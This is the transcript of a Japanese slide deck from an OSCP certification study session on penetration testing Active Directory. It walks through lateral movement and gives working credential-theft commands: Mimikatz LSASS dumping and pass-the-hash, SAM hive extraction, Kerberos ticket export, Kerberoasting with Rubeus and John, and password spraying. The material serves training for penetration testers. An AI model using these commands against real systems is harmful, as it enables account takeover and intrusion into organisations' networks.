Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
OSCPでのActive Directory攻略
Search
Fire / ふぁいあー
March 24, 2023
Technology
3
2k
OSCPでのActive Directory攻略
OSCP勉強会 #2での講演スライドです。
https://off-sec-lab.connpass.com/event/276425/
Fire / ふぁいあー
March 24, 2023
Tweet
Share
More Decks by Fire / ふぁいあー
See All by Fire / ふぁいあー
Azure Cloud ペンテスト入門(仮)
firefire2
0
650
サイバーセキュリティの話 Ver.20210904
firefire2
1
480
Other Decks in Technology
See All in Technology
2/18 Making Security Scale: メルカリが考えるセキュリティ戦略 - Coincheck x LayerX x Mercari
jsonf
0
210
実は強い 非ViTな画像認識モデル
tattaka
3
1.3k
日経のデータベース事業とElasticsearch
hinatades
PRO
0
230
脳波を用いた嗜好マッチングシステム
hokkey621
0
290
分解して理解する Aspire
nenonaninu
2
1.1k
あなたが人生で成功するための5つの普遍的法則 #jawsug #jawsdays2025 / 20250301 HEROZ
yoshidashingo
2
290
Apache Iceberg Case Study in LY Corporation
lycorptech_jp
PRO
0
320
Amazon Aurora のバージョンアップ手法について
smt7174
2
150
Pwned Labsのすゝめ
ken5scal
2
440
RemoveだらけのPHPUnit 12に備えよう
cocoeyes02
0
290
Exadata Database Service on Cloud@Customer セキュリティ、ネットワーク、および管理について
oracle4engineer
PRO
2
1.5k
手を動かしてレベルアップしよう!
maruto
0
220
Featured
See All Featured
Making Projects Easy
brettharned
116
6k
Agile that works and the tools we love
rasmusluckow
328
21k
Writing Fast Ruby
sferik
628
61k
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
Documentation Writing (for coders)
carmenintech
67
4.6k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
10
510
The Illustrated Children's Guide to Kubernetes
chrisshort
48
49k
Git: the NoSQL Database
bkeepers
PRO
427
65k
Designing Experiences People Love
moore
140
23k
For a Future-Friendly Web
brad_frost
176
9.6k
Become a Pro
speakerdeck
PRO
26
5.2k
Transcript
OSCPでのActive Directory攻略 ふぁいあー(@fire_fire_2) OSCP勉強会 #2 - 2023/03/24
About me • Fire / ふぁいあー(@fire_fire_2) • 自己紹介 • OSCP
(2022.1取得) / CRTP / GCPN / AWS SCS / RISS • 現役ペンテスター • PEN-300受講中 • お仕事 • セキュリティ界隈 およそ4年 • フォレンジック 1.5年 • ペネトレーションテスト2.5年 2
情報システムに対するペネトレ • 公開サーバへのペネトレ(Webサーバなど) • 空いているポートで使用しているサービスの脆弱性を悪用して侵入 • Webアプリの脆弱性、弱い認証情報、など • 企業のOAネットワークへのペネトレ(Active Directory環境など)
• メールやWebページの閲覧によりクライアント端末がマルウェアに感染したことに よる侵入(前提) • いわゆるAPT攻撃(持続的標的型攻撃)を想定した侵入テスト • ターゲット • 特権アカウント、ドメインコントローラ、 機密情報(顧客情報や技術情報など) 3
OSCPでのActive Directoryカリキュラム • 2022年の改定 • 試験でBoFのExploitコード作りがなくなり、AD問題が新しく出題 • 2023年の改定 • 1モジュールから3モジュールに拡張
4 https://www.offsec.com/offsec/pen-200-2023/
Active Directoryとは(イメージ) 5 ドメイン Active Directoryサーバ (ドメインコントローラ) 端末をドメインに参加 機能 一元管理可能
• コンピュータ端末の設定 • ユーザアカウント • 権限 ユーザアカウント • Domain Admins(特権) • Domain Users よく使うのはこの2つ。
Active Directoryとは(イメージ) 6 ドメイン Active Directoryサーバ (ドメインコントローラ) 端末をドメインに参加 機能 一元管理可能
• コンピュータ端末の設定 • ユーザアカウント • 権限 ユーザアカウント • Domain Admins(特権) • Domain Users よく使うのはこの2つ。
Active Directory触ったことがなかった人✋ • VMとかにWindowsServerをインストールしてまずはさわってみましょう • Windowsの評価版は無料で入手できます • https://www.microsoft.com/ja-jp/evalcenter/evaluate-windows-10- enterprise •
https://www.microsoft.com/ja-jp/evalcenter/evaluate-windows-server- 2022 [参考] ペネトレーションテストの検証・勉強用環境の紹介 https://devblog.lac.co.jp/entry/20230123 7
AD環境ペネトレのながれ 8 ドメインA C2サーバ (遠隔操作用サーバ)
AD環境ペネトレのながれ 9 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる
AD環境ペネトレのながれ 10 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する
AD環境ペネトレのながれ 11 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する
AD環境ペネトレのながれ 12 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain
Admins)を 窃取して、ドメインコントローラに侵入する
AD環境ペネトレのながれ 13 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
AD環境ペネトレのながれ 14 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
ドメインB ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する ⑥ネットワーク(ドメイン)を横断して、 他のドメインに所属するコンピュータを探索する
OSCPでのAD問題の対象 15 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
ドメインB ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する ⑥ネットワーク(ドメイン)を横断して、 他のドメインに所属するコンピュータを探索する
今日のメインの話 16 ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
今日のメインの話 17 Tactics • Credential Access • Lateral Movement https://attack.mitre.org/
③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
今日のメインの話 18 Tactics • Credential Access • Lateral Movement https://attack.mitre.org/
③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する 認証情報を窃取することで、他の端末に侵入する。 侵入先でも認証情報を窃取し、また他の端末に侵入する。 これを繰り返してドメイン管理者権限を目指す!
OSCPで見るべき認証情報窃取 19 窃取方法 • LSASS Dump • SAM Dump •
Kerberos Ticket Dump • 資格情報マネージャ • Kerberoast • 弱くて脆弱なパスワード • パスワードがファイルにそのまま記載 ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
LSASS Dump • 認証を司るサービス(LSASS)の実行メモリをダンプし解析することで、 コンピュータで使用中のローカルアカウントを含めたドメインアカウント のNTLMハッシュを窃取可能。NTLMハッシュはそのまま認証に使える (Pass The Hash)。ドメイン管理者アカウントが窃取できる可能性。 Mimikatz(管理者権限)で実行
# privilege::debug # sekurlsa::logonpasswords MimikatzでPass The Hash # sekurlsa::pth /user:targetuser /domain:targetdomain.local /ntlm:targethash /run:cmd.exe 20
SAM Dump • ローカルアカウントの情報を保持しているレジストリ(SAM)を復号す ることで、コンピュータのローカルアカウントのNTLMハッシュを窃取可 能。 NTLMハッシュはそのまま認証に使える(Pass The Hash)。他の コンピュータに設定されているアカウントのパスワードがダンプしたコン
ピュータのものと同様の場合、Pass The Hashで侵入できる可能性。 SAM、SYSTEM、SECURITYハイブを抽出 > reg save hklm¥sam sam.hive(system, securityも同様にダンプ) Impacketのsecretsdumpで復号 > secretsdump –sam sam.hive –system system.hive –security security.hive LOCAL Mimikatz(管理者権限)でPass The Hash # privilege::debug # sekurlsa::pth /user:targetuser /domain:. /ntlm:targethash /run:cmd.exe 21
Kerberos Ticket Dump • ドメインユーザを使用するとADから取得したKerberosチケットがコン ピュータ内にキャッシュされているため、 Mimikatzなどでこれら認証用 のチケットを窃取可能。チケットが失効していなければそのまま使用して 認証に使える(Pass The
Ticket)。他のアカウントのチケットを使って 他のコンピュータに侵入できる可能性。 Mimikatz(管理者権限)で実行 # privilege::bebug # sekurlsa::ticket /export MimikatzでPass The Ticket # kerberos::ptt .¥ticketpath.kirbi 22
資格情報マネージャ • タスクスケジューラーでタスク登録時に保存した認証情報など、資格情報 マネージャーに登録されている認証情報を平文で窃取可能。平文でパス ワードが窃取可能なため、Runasコマンドなどでのログオン時に指定すれ ばそのままログオン可能。 Mimikatz(管理者権限)で実行 # token::elevate #
vault::cred /patch Runasコマンドなどでログオン > runas /user:
[email protected]
/netonly cmd.exe
[email protected]
のパスワードを入力してください:password 23
Kerberoast • SPNが設定されたドメインユーザアカウントは、パスワードハッシュ値 (krb5tgs形式)をKerberosチケットから取得でき、このユーザのパス ワードが脆弱だった場合、解析することで平文パスワードを窃取すること が可能(オフラインクラック)。 Runasコマンドなどでのログオン時に 指定すればそのままログオン可能。 Rubeusなどでパスワードハッシュ値を取得 >
Rubeus.exe kerberoast /nowrap 取得したハッシュ値のオフラインクラック $ john hash.txt –-wordlist=rockyou.txt –rules:jumbo Runasコマンドなどでログオン > 省略 24
弱くて脆弱なパスワード • 全ドメインユーザを対象に脆弱なパスワードが設定されているアカウント を探す。 • パスワードをアカウント名と同一文字列として認証を試行(joeアカウント) • 特定のパスワードで全ドメインユーザに対して認証を試行(パスワードスプレー) Joeアカウント >
Invoke-DomainPasswordSpray –UsernameAsPassword パスワードスプレー > Invoke-DomainPasswordSpray -Password P@ssw0rd Runasコマンドなどでログオン > 省略 25 https://github.com/dafthack/DomainPasswordSpray
パスワードがファイルにそのまま記載 • コンピュータ内に存在するbatやps1、vbsなどのスクリプトファイルに、 何かしらのユーザのパスワードがそのまま平文で記載されていることがよ くある。 スクリプトファイルは、スタートアップに登録されていたり、スケジュー ルタスクとして登録されていたりする場合が多い。 平文なので、Runasコマンドなどでのログオン時に指定すればそのままロ グオン可能。 26
まとめ OSCPレベルのWindows Active Directory問題であれば、見るポイントを 押さえればそれほど難しくないです。教科書の内容を勉強しておけば十分 攻略可能です。 教科書をしっかり読み、また試験での見逃しを防ぐためしっかりチート シートをまとめておきましょう。 Pentest-CheatSheets -
GitHub https://github.com/firefire2/Pentest-Cheatsheets 27
Thank you. Any Questions? ※この講演における発言及び資料の内容は、個人の見解を含んでいます。 それらは、所属する企業や団体を代表するものではありません。 28